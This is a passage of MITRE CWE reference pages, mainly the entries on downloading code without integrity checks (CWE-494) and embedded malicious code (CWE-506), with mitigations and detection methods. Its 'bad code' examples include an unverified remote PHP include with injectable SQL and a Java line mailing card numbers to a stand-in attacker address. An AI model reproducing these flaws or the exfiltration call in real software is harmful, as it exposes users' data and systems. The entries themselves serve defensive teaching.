Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Fuzzing
Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 730 OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 738 CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 739 CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 848 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 872 CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 873 CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 998 SFP Secondary Cluster: Glitch in Computation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1137 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1158 SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1408 Comprehensive Categorization: Incorrect Calculation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1445 OWASP Top Ten 2025 Category A10:2025 - Mishandling of Exceptional Conditions
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
OWASP Top Ten 2004 A9 CWE More Specific Denial of Service
CERT C Secure Coding FLP03-C Detect and handle floating point errors
CERT C Secure Coding INT33-C Exact Ensure that division and remainder operations do not result in divide-by-zero errors
The CERT Oracle Secure Coding Standard for Java (2011) NUM02-J Ensure that division and modulo operations do not result in divide-by-zero errors
Software Fault Patterns SFP1 Glitch in computation
+ References
[REF-371] Alex Allain. "Handling Errors Exceptionally Well in C++".
<https://www.cprogramming.com/tutorial/exceptions.html>. (URL validated: 2023-04-07)
[REF-372] Microsoft. "Exceptions and Exception Handling (C# Programming Guide)".
<https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-04-11
(CWE Draft 9, 2008-04-11) 		CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Demonstrative_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Demonstrative_Examples, Detection_Factors, References, Relationships
2022-10-13 CWE Content Team MITRE
updated References
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Taxonomy_Mappings
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-09-13 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-10-29 CWE Content Team MITRE
updated Other_Notes
2009-05-27 CWE Content Team MITRE
updated Demonstrative_Examples
2008-11-24 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
Back to top

CWE-494: Download of Code Without Integrity Check

Weakness ID: 494
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.
+ Extended Description
An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Execute Unauthorized Code or Commands; Alter Execution Logic; Other

Scope: Integrity, Availability, Confidentiality, Other

Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.
+ Potential Mitigations
Phase(s) Mitigation

Implementation
Perform proper forward and reverse DNS lookups to detect DNS spoofing.
Note: This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Architecture and Design; Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

  • When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
  • Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 345 Insufficient Verification of Data Authenticity
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1214 Data Integrity Issues
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1020 Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This example loads an external class from a local subdirectory.

(bad code)
Example Language: Java 
URL[] classURLs= new URL[]{
new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.



Example 2


This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(bad code)
Example Language: PHP 
//assume the password is already encrypted, avoiding CWE-312

function authenticate($username,$password){

include("http://external.example.com/dbInfo.php");

//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);

if(mysql_numrows($result) == 1){
mysql_close();
return true;
}
else{
mysql_close();
return false;
}

}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Satellite phone does not validate its firmware image.
Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
OS does not verify authenticity of its own updates.
online poker client does not verify authenticity of its own updates.
anti-virus product does not verify automatic updates for itself.
VOIP phone downloads applications from web sites without verifying integrity.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Note:These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 752 2009 Top 25 - Risky Resource Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 802 2010 Top 25 - Risky Resource Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 865 2011 Top 25 - Risky Resource Management
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 991 SFP Secondary Cluster: Tainted Input to Environment
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1354 OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1411 Comprehensive Categorization: Insufficient Verification of Data Authenticity
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1443 OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Invoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011) SEC06-J Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns SFP27 Tainted input to environment
+ References
[REF-454] Microsoft. "Introduction to Code Signing".
<http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx>.
[REF-455] Microsoft. "Authenticode".
<http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx>.
[REF-456] Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19.
<https://web.archive.org/web/20080724215143/http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html>. (URL validated: 2023-04-07)
[REF-457] Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges".
<https://www.usenix.org/legacy/events/hotsec06/tech/full_papers/bellissimo/bellissimo.pdf>. (URL validated: 2025-07-24)
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 18: The Sins of Mobile Code." Page 267. McGraw-Hill. 2010.
[REF-459] Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". SANS Software Security Institute. 2010-04-05.
<https://www.sans.org/blog/top-25-series-rank-20-download-of-code-without-integrity-check/>. (URL validated: 2023-04-07)
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14.
<https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. (URL validated: 2023-04-07)
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
[REF-1482] D3FEND. "D3FEND: D3-TL Trusted Library".
<https://d3fend.mitre.org/technique/d3f:TrustedLibrary/>. (URL validated: 2025-09-06)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Potential_Mitigations, References
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated References, Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples
2021-03-15 CWE Content Team MITRE
updated References, Related_Attack_Patterns
2020-12-10 CWE Content Team MITRE
updated Demonstrative_Examples
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2010-12-13 CWE Content Team MITRE
updated Potential_Mitigations
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations, References
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-04-05 CWE Content Team MITRE
updated Applicable_Platforms
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2009-07-27 CWE Content Team MITRE
updated Description, Observed_Examples, Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Other_Notes, Potential_Mitigations, References, Relationships, Research_Gaps, Type
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Mobile Code: Invoking Untrusted Mobile Code
2009-01-12 Download of Untrusted Mobile Code Without Integrity Check
Back to top

CWE-506: Embedded Malicious Code

Weakness ID: 506
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains code that appears to be malicious in nature.
+ Extended Description
Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Execute Unauthorized Code or Commands

Scope: Confidentiality, Integrity, Availability

+ Potential Mitigations
Phase(s) Mitigation

Testing
Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 912 Hidden Functionality
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 507 Trojan Horse
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 510 Trapdoor
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 511 Logic/Time Bomb
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 512 Spyware
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Bundling
Distribution
Installation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

(bad code)
Example Language: Java 
boolean authorizeCard(String ccn) {

// Authorize credit card.

...

mailCardNumber(ccn, "evil_developer@evil_domain.com");
}


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A command history tool was shipped with a code-execution backdoor inserted by a malicious party.
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
  • Generated Code Inspection

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Automated Monitored Execution

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:
  • Origin Analysis

Effectiveness: SOAR Partial
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 904 SFP Primary Cluster: Malware
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1443 OWASP Top Ten 2025 Category A08:2025 - Software or Data Integrity Failures
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

It is suspected that malicious code can often be characterized using other "regular" weaknesses related to insecure behavior. However, this has not been closely investigated.

Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
Landwehr Malicious
+ References
[REF-1431] Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993-11-19.
<https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf>. (URL validated: 2024-11-17)
[REF-1479] Gregory Larsen, E. Kenneth Hong Fong, David A. Wheeler and Rama S. Moorthy. "State-of-the-Art Resources (SOAR) for Software Vulnerability Detection, Test, and Evaluation". 2014-07.
<https://www.ida.org/-/media/feature/publications/s/st/stateoftheart-resources-soar-for-software-vulnerability-detection-test-and-evaluation/p-5061.ashx>. (URL validated: 2025-09-05)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		Landwehr
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Demonstrative_Examples, Relationship_Notes, Relationships, Weakness_Ordinalities
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Detection_Factors, References
2024-07-16
(CWE 4.15, 2024-07-16) 		CWE Content Team MITRE
updated References
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Time_of_Introduction
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2010-09-27 CWE Content Team MITRE
updated Other_Notes, Terminology_Notes
2009-10-29 CWE Content Team MITRE
updated Description, Other_Notes
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
+ Previous Entry Names
